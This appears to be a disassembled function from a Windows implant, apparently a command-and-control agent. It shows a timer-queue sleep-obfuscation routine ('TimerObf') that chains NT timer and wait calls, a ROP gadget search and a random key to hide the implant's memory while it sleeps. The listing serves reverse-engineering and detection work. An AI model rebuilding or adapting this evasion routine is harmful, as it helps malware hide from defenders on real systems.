Function at 0x140022340
Capabilities:
Print debug messages

Disassembly:
push rbp
mov eax, 0x4970
mov rbp, rsp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
and rsp, 0xfffffffffffffff0
call sym.___chkstk_ms
mov r15d, 0x40
sub rsp, rax
xor eax, eax
mov dword [rbp + 0x10], ecx
mov ecx, 0x134
lea rdi, [rsp + 0x140]
mov rbx, qword [0x14002d650]
mov dword [rbp + 0x18], edx
rep stosd dword [rdi], eax
mov ecx, 0x134
lea rdi, [rsp + 0x610]
mov qword [rsp + 0x68], 0
rep stosd dword [rdi], eax
lea rdi, [rsp + 0xae0]
mov ecx, 0xfa4
mov qword [rsp + 0x70], 0
rep stosd dword [rdi], eax
lea rdi, [rsp + 0xd0]
mov ecx, 0xe
mov qword [rsp + 0x78], 0
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x108]
mov ecx, 0xe
mov qword [rsp + 0x80], 0
rep stosd dword [rdi], eax
mov rax, qword [rbx]
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
mov rsi, qword [rax + 0x2c]
mov rdx, qword [rax + 0x38]
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0
mov r13d, dword [rax + 0xd6]
mov qword [rsp + 0x50], rsi
mov esi, dword [rax + 0x34]
test rdx, rdx
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0x48], rsi
lea rsi, [rsp + 0x140]
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov dword [rsp + 0x64], 0
mov word [rsp + 0x62], 0xe0ff
je 0x1400224a5
mov eax, dword [rax + 0x40]
test eax, eax
je 0x1400224a5
mov qword [rsp + 0x48], rax
mov r15d, 0x20
mov qword [rsp + 0x50], rdx
xor edi, edi
call sym.RandomNumber32
mov r8d, eax
lea rax, [rsp + 0xa0]
mov byte [rsp + rdi + 0xa0], r8b
inc rdi
cmp rdi, 0x10
jne 0x1400224a7
mov qword [rsp + 0xb8], rax
cmp dword [rbp + 0x18], 1
movabs rax, 0x1000000010
mov qword [rsp + 0xb0], rax
mov rax, qword [rbx]
mov dword [rsp + 0x170], 0x10000b
mov dword [rsp + 0x640], 0x10000b
mov rdi, qword [rax + 0x2c]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0xc8], rdi
mov edi, dword [rax + 0x34]
mov dword [rsp + 0x5c], edi
mov dword [rsp + 0xc4], edi
mov dword [rsp + 0xc0], edi
jne 0x140022534
lea rcx, [rsp + 0x68]
call qword [rax + 0x198]
jmp 0x14002258b
cmp dword [rbp + 0x18], 2
mov rax, qword [rax + 0x238]
je 0x14002256e
mov rax, qword [rbx]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1f0003
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x88]
call qword [rax + 0x238]
test eax, eax
jns 0x1400225ab
jmp 0x140022f72
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1f0003
lea rcx, [rsp + 0x98]
call rax
mov r9d, eax
test eax, eax
jns 0x140022541
mov r8d, 0x25b
lea rdx, str.TimerObf
lea rcx, str._DEBUG::_s::_d__RtlCreateTimerQueue_NtCreateEvent_Failed:__lx_n
jmp 0x140022f89
mov rax, qword [rbx]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1f0003
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x80]
call qword [rax + 0x238]
test eax, eax
js 0x140022f72
mov rax, qword [rbx]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1f0003
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x90]
call qword [rax + 0x238]
test eax, eax
js 0x140022f72
cmp dword [rbp + 0x18], 1
jne 0x140022686
mov rax, qword [rbx]
lea r12, [rsp + 0x70]
mov r9, rsi
mov rcx, qword [rsp + 0x68]
mov rdx, r12
mov r8, qword [rax + 0x1a8]
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x64
call qword [rax + 0x180]
mov r9d, eax
test eax, eax
js 0x140022f5c
mov rax, qword [rbx]
mov rcx, qword [rsp + 0x68]
mov rdx, r12
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x28], 0
mov r9, qword [rsp + 0x88]
lea r8, [sym.EventSet]
mov dword [rsp + 0x20], 0xc8
call qword [rax + 0x180]
jmp 0x140022704
xor r12d, r12d
cmp dword [rbp + 0x18], 2
jne 0x14002271b
mov rax, qword [rbx]
lea r12, [rsp + 0x70]
mov r9, rsi
mov rdx, qword [rsp + 0x98]
mov rcx, r12
mov r8, qword [rax + 0x1a8]
mov dword [rsp + 0x28], 0xc
mov dword [rsp + 0x20], 0x64
call qword [rax + 0x188]
mov r9d, eax
test eax, eax
js 0x140022f5c
mov rax, qword [rbx]
mov r9, qword [rsp + 0x88]
mov rcx, r12
mov dword [rsp + 0x28], 0xc
mov dword [rsp + 0x20], 0xc8
mov rdx, qword [rsp + 0x98]
lea r8, [sym.EventSet]
call qword [rax + 0x188]
mov r9d, eax
mov r8d, 0x252
test eax, eax
js 0x140022f62
mov r12d, 0xc8
mov rcx, qword [rsp + 0x88]
xor r8d, r8d
xor edx, edx
call sym.SysNtWaitForSingleObject
mov r8d, 0x1b3
lea rdx, str.TimerObf
lea rcx, str._DEBUG::_s::_d__Failed_waiting_for_starting_event:__lx_n
mov r9d, eax
test eax, eax
js 0x140022f89
mov r14, qword [0x14002d650]
mov rax, qword [r14]
cmp dword [rax + 0xda], 0
je 0x14002280f
mov rcx, qword [rsp + 0x1d8]
lea rdx, [rsp + 0xd0]
call sym.ThreadQueryTib
mov ebx, eax
test eax, eax
jne 0x1400227a3
lea r9, str.Failed_to_retrieve_Tib
mov r8d, 0x1bc
lea rdx, str.TimerObf
lea rcx, [0x140029ac0]
call sym.printf.constprop.0_13
jmp 0x140022f90
mov dword [rsp + 0x30], 2
lea r9, [rsp + 0x78]
or r8, 0xffffffffffffffff
mov rdx, 0xfffffffffffffffe
mov dword [rsp + 0x28], 0
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x20], 0
call sym.SysNtDuplicateObject
mov r8d, 0x1c2
lea rdx, str.TimerObf
lea rcx, str._DEBUG::_s::_d__NtDuplicateObject_Failed:__lx_n
mov r9d, eax
test eax, eax
js 0x140022f89
mov rdx, qword [r14]
lea rax, [rsp + 0x108]
mov ecx, 0xe
mov rdi, rax
mov rsi, qword [rdx + 0x8c2]
rep movsd dword [rdi], dword [rsi]
mov ebx, r13d
xor edx, edx
test r13b, r13b
je 0x140022855
cmp r13b, 2
jne 0x140022824
mov byte [rsp + 0x63], 0x23
mov rax, qword [r14]
mov edx, 0x1000000
mov r9d, 2
lea r8, [rsp + 0x62]
mov rcx, qword [rax + 0x84a]
add rcx, 0x1000
call sym.MmGadgetFind
mov rdx, rax
xor eax, eax
test rdx, rdx
cmove ebx, eax
lea r13, [rsp + 0xae0]
lea r8, [rsp + 0x4970]
mov rax, r13
mov rdi, rax
lea rsi, [rsp + 0x140]
mov ecx, 0x134
rep movsd dword [rdi], dword [rsi]
mov qword [rax + 0xf8], rdx
sub qword [rax + 0x98], 8
add rax, 0x4d0
cmp r8, rax
jne 0x140022868
mov rax, qword [r14]
cmp bl, 1
jne 0x1400228ad
mov rdx, qword [rax + 0x6a8]
mov qword [rsp + 0xb58], rdx
jmp 0x1400228c3
cmp bl, 2
jne 0x1400228c3
lea rdx, [rax + 0x6a8]
mov qword [rsp + 0xb70], rdx
jmp 0x1400228d2
mov rdx, qword [rax + 0x6a8]
mov qword [rsp + 0xbd8], rdx
mov rdx, qword [rsp + 0x80]
mov esi, 0xffffffff
mov qword [rsp + 0xb98], 0
mov qword [rsp + 0xb68], rsi
mov qword [rsp + 0xb60], rdx
cmp bl, 1
jne 0x140022911
mov rdx, qword [rax + 0x328]
mov qword [rsp + 0x1028], rdx
jmp 0x140022927
cmp bl, 2
jne 0x140022927
lea rdx, [rax + 0x328]
mov qword [rsp + 0x1040], rdx
jmp 0x140022936
mov rdx, qword [rax + 0x328]
mov qword [rsp + 0x10a8], rdx
mov rsi, qword [rsp + 0x40]
lea r9, [rsp + 0x64]
mov qword [rsp + 0x1068], 4
mov qword [rsp + 0x1070], r9
mov qword [rsp + 0x1030], rsi
mov esi, dword [rsp + 0x5c]
mov qword [rsp + 0x1038], rsi
cmp bl, 1
jne 0x14002297e
mov rdx, qword [rax + 0x568]
mov qword [rsp + 0x14f8], rdx
jmp 0x140022994
cmp bl, 2
jne 0x140022994
lea rdx, [rax + 0x568]
mov qword [rsp + 0x1510], rdx
jmp 0x1400229a3
mov rdx, qword [rax + 0x568]
mov qword [rsp + 0x1578], rdx
mov esi, dword [rax + 0xda]
lea r11, [rsp + 0xc0]
mov ecx, 3
lea r10, [rsp + 0xb0]
mov qword [rsp + 0x1500], r11
mov qword [rsp + 0x1508], r10
test esi, esi
je 0x140022b53
cmp bl, 1
jne 0x1400229ec
mov rdx, qword [rax + 0x250]
mov qword [rsp + 0x19c8], rdx
jmp 0x140022a02
cmp bl, 2
jne 0x140022a02
lea rdx, [rax + 0x250]
mov qword [rsp + 0x19e0], rdx
jmp 0x140022a11
mov rdx, qword [rax + 0x250]
mov qword [rsp + 0x1a48], rdx
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x610]
mov qword [rsp + 0x19d8], rcx
mov qword [rsp + 0x19d0], rdx
cmp bl, 1
jne 0x140022a44
mov rcx, qword [rax + 0x1c0]
mov qword [rsp + 0x1e98], rcx
jmp 0x140022a5a
cmp bl, 2
jne 0x140022a5a
lea rcx, [rax + 0x1c0]
mov qword [rsp + 0x1eb0], rcx
jmp 0x140022a69
mov rcx, qword [rax + 0x1c0]
mov qword [rsp + 0x1f18], rcx
lea rcx, [rsp + 0x238]
mov qword [rsp + 0x1ed8], 1
mov qword [rsp + 0x1ea0], rcx
lea rcx, [rsp + 0x708]
mov qword [rsp + 0x1ea8], rcx
cmp bl, 1
jne 0x140022aab
mov rcx, qword [rax + 0x1c0]
mov qword [rsp + 0x2368], rcx
jmp 0x140022ac1
cmp bl, 2
jne 0x140022ac1
lea rcx, [rax + 0x1c0]
mov qword [rsp + 0x2380], rcx
jmp 0x140022ad0
mov rcx, qword [rax + 0x1c0]
mov qword [rsp + 0x23e8], rcx
mov rcx, qword [rax + 0x8c2]
mov qword [rsp + 0x23a8], 0x38
mov qword [rsp + 0x2370], rcx
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0x2378], rcx
cmp bl, 1
jne 0x140022b11
mov rcx, qword [rax + 0x258]
mov qword [rsp + 0x2838], rcx
jmp 0x140022b27
cmp bl, 2
jne 0x140022b27
lea rcx, [rax + 0x258]
mov qword [rsp + 0x2850], rcx
jmp 0x140022b36
mov rcx, qword [rax + 0x258]
mov qword [rsp + 0x28b8], rcx
mov qword [rsp + 0x2840], rdx
lea rdx, [rsp + 0x140]
mov ecx, 7
mov qword [rsp + 0x2848], rdx
cmp bl, 1
mov edx, ecx
jne 0x140022b72
imul r8, rdx, 0x4d0
mov rdi, qword [rax + 0x6a8]
mov qword [rsp + r8 + 0xb58], rdi
jmp 0x140022b8f
cmp bl, 2
jne 0x140022b8f
imul r8, rdx, 0x4d0
lea rdi, [rax + 0x6a8]
mov qword [rsp + r8 + 0xb70], rdi
jmp 0x140022ba8
mov r8d, ecx
mov rdi, qword [rax + 0x6a8]
imul r8, r8, 0x4d0
mov qword [rsp + r8 + 0xbd8], rdi
imul rdx, rdx, 0x4d0
mov edi, dword [rbp + 0x10]
mov r8d, r12d
add r8, rdi
mov qword [rsp + rdx + 0xb60], 0xffffffffffffffff
mov qword [rsp + rdx + 0xb68], r8
mov qword [rsp + rdx + 0xb98], 0
lea edx, [rcx + 1]
test esi, esi
je 0x140022ce3
cmp bl, 1
jne 0x140022c00
imul r8, rdx, 0x4d0
mov rsi, qword [rax + 0x1c0]
mov qword [rsp + r8 + 0xb58], rsi
jmp 0x140022c1d
cmp bl, 2
jne 0x140022c1d
imul r8, rdx, 0x4d0
lea rsi, [rax + 0x1c0]
mov qword [rsp + r8 + 0xb70], rsi
jmp 0x140022c33
imul r8, rdx, 0x4d0
mov rsi, qword [rax + 0x1c0]
mov qword [rsp + r8 + 0xbd8], rsi
imul rdx, rdx, 0x4d0
mov r8, qword [rax + 0x8c2]
mov qword [rsp + rdx + 0xb60], r8
lea r8, [rsp + 0x108]
mov qword [rsp + rdx + 0xb68], r8
lea r8d, [rcx + 2]
mov qword [rsp + rdx + 0xb98], 0x38
mov rdx, r8
cmp bl, 1
jne 0x140022c89
imul rsi, r8, 0x4d0
mov rdi, qword [rax + 0x258]
mov qword [rsp + rsi + 0xb58], rdi
jmp 0x140022ca6
cmp bl, 2
jne 0x140022ca6
imul r8, r8, 0x4d0
lea rsi, [rax + 0x258]
mov qword [rsp + r8 + 0xb70], rsi
jmp 0x140022cbc
imul r8, r8, 0x4d0
mov rsi, qword [rax + 0x258]
mov qword [rsp + r8 + 0xbd8], rsi
imul rdx, rdx, 0x4d0
mov r8, qword [rsp + 0x78]
mov qword [rsp + rdx + 0xb60], r8
lea r8, [rsp + 0x610]
mov qword [rsp + rdx + 0xb68], r8
lea edx, [rcx + 3]
cmp bl, 1
mov ecx, edx
jne 0x140022d02
imul r8, rcx, 0x4d0
mov rsi, qword [rax + 0x568]
mov qword [rsp + r8 + 0xb58], rsi
jmp 0x140022d1f
cmp bl, 2
jne 0x140022d1f
imul r8, rcx, 0x4d0
lea rsi, [rax + 0x568]
mov qword [rsp + r8 + 0xb70], rsi
jmp 0x140022d35
imul r8, rcx, 0x4d0
mov rsi, qword [rax + 0x568]
mov qword [rsp + r8 + 0xbd8], rsi
imul rcx, rcx, 0x4d0
cmp bl, 1
mov qword [rsp + rcx + 0xb60], r11
mov qword [rsp + rcx + 0xb68], r10
lea ecx, [rdx + 1]
jne 0x140022d6c
imul r8, rcx, 0x4d0
mov r10, qword [rax + 0x328]
mov qword [rsp + r8 + 0xb58], r10
jmp 0x140022d89
cmp bl, 2
jne 0x140022d89
imul r8, rcx, 0x4d0
lea r10, [rax + 0x328]
mov qword [rsp + r8 + 0xb70], r10
jmp 0x140022d9f
imul r8, rcx, 0x4d0
mov r10, qword [rax + 0x328]
mov qword [rsp + r8 + 0xbd8], r10
imul rcx, rcx, 0x4d0
mov rsi, qword [rsp + 0x50]
mov edi, r15d
mov qword [rsp + rcx + 0xb60], rsi
mov rsi, qword [rsp + 0x48]
mov qword [rsp + rcx + 0xba0], r9
mov r9, qword [rax + 0x1d0]
mov qword [rsp + rcx + 0xb68], rsi
mov qword [rsp + rcx + 0xb98], rdi
lea ecx, [rdx + 2]
imul r8, rcx, 0x4d0
mov qword [rsp + r8 + 0xbd8], r9
cmp bl, 1
jne 0x140022dfb
mov qword [rsp + r8 + 0xb58], r9
jmp 0x140022e0e
cmp bl, 2
jne 0x140022e0e
add rax, 0x1d0
mov qword [rsp + r8 + 0xb70], rax
imul rax, rcx, 0x4d0
lea ebx, [rdx + 3]
xor r15d, r15d
mov rcx, qword [rsp + 0x90]
lea r14, str.TimerObf
mov r9d, ebx
mov r8d, 0x23c
mov rdx, r14
lea rdi, [rsp + 0x70]
mov qword [rsp + rax + 0xb60], rcx
lea rcx, str._DEBUG::_s::_d__Rops_to_be_executed:__d_n
mov qword [rsp + rax + 0xb68], 0
call sym.DbgPrint
mov rsi, qword [0x14002d650]
cmp dword [rbp + 0x18], 1
jne 0x140022eb8
mov rax, qword [rsi]
add r12d, 0x64
mov r9, r13
mov rcx, qword [rsp + 0x68]
mov rdx, rdi
mov r8, qword [rax + 0x2b8]
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], r12d
call qword [rax + 0x180]
mov r9d, eax
test eax, eax
jns 0x140022f09
mov r8d, 0x242
mov rdx, r14
lea rcx, str._DEBUG::_s::_d__RtlCreateTimer_Failed:__lx_n
jmp 0x140022f89
cmp dword [rbp + 0x18], 2
jne 0x140022f09
mov rax, qword [rsi]
add r12d, 0x64
mov r9, r13
mov rcx, rdi
mov rdx, qword [rsp + 0x98]
mov r8, qword [rax + 0x2b8]
mov dword [rsp + 0x28], 0xc
mov dword [rsp + 0x20], r12d
call qword [rax + 0x188]
mov r9d, eax
test eax, eax
jns 0x140022f09
mov r8d, 0x247
mov rdx, r14
lea rcx, str._DEBUG::_s::_d__RtlRegisterWait_Failed:__lx_n
jmp 0x140022f89
inc r15d
add r13, 0x4d0
cmp r15d, ebx
jb 0x140022e62
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
xor r9d, r9d
xor r8d, r8d
call sym.SysNtSignalAndWaitForSingleObject
mov ebx, eax
mov r9d, eax
not ebx
shr ebx, 0x1f
test eax, eax
jns 0x140022f90
mov r8d, 0x24f
mov rdx, r14
lea rcx, str._DEBUG::_s::_d__NtSignalAndWaitForSingleObject_Failed:__lx_n
call sym.DbgPrint
jmp 0x140022f90
mov r8d, 0x255
lea rdx, str.TimerObf
lea rcx, str._DEBUG::_s::_d__RtlCreateTimer_RtlRegisterWait_Failed:__lx_n
jmp 0x140022f89
mov r9d, eax
mov r8d, 0x258
lea rdx, str.TimerObf
lea rcx, str._DEBUG::_s::_d__NtCreateEvent_Failed:__lx_n
call sym.DbgPrint
xor ebx, ebx
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140022fb3
mov rax, qword [0x14002d650]
mov rax, qword [rax]
call qword [rax + 0x1a0]
mov qword [rsp + 0x68], 0
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x140022fd1
call sym.SysNtClose
mov qword [rsp + 0x88], 0
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x140022fef
call sym.SysNtClose
mov qword [rsp + 0x80], 0
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x14002300d
call sym.SysNtClose
mov qword [rsp + 0x90], 0
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14002302b
call sym.SysNtClose
mov qword [rsp + 0x98], 0
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140023043
call sym.SysNtClose
mov qword [rsp + 0x78], 0
lea rdx, [rsp + 0xae0]
lea r8, [rsp + 0x4970]
xor eax, eax
mov r9d, 0x4d0
mov rdi, rdx
mov rcx, r9
rep stosb byte [rdi], al
add rdx, 0x4d0
cmp r8, rdx
jne 0x14002305b
lea rdi, [rsp + 0xa0]
mov ecx, 0x10
rep stosb byte [rdi], al
lea rsp, [rbp - 0x38]
mov eax, ebx
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret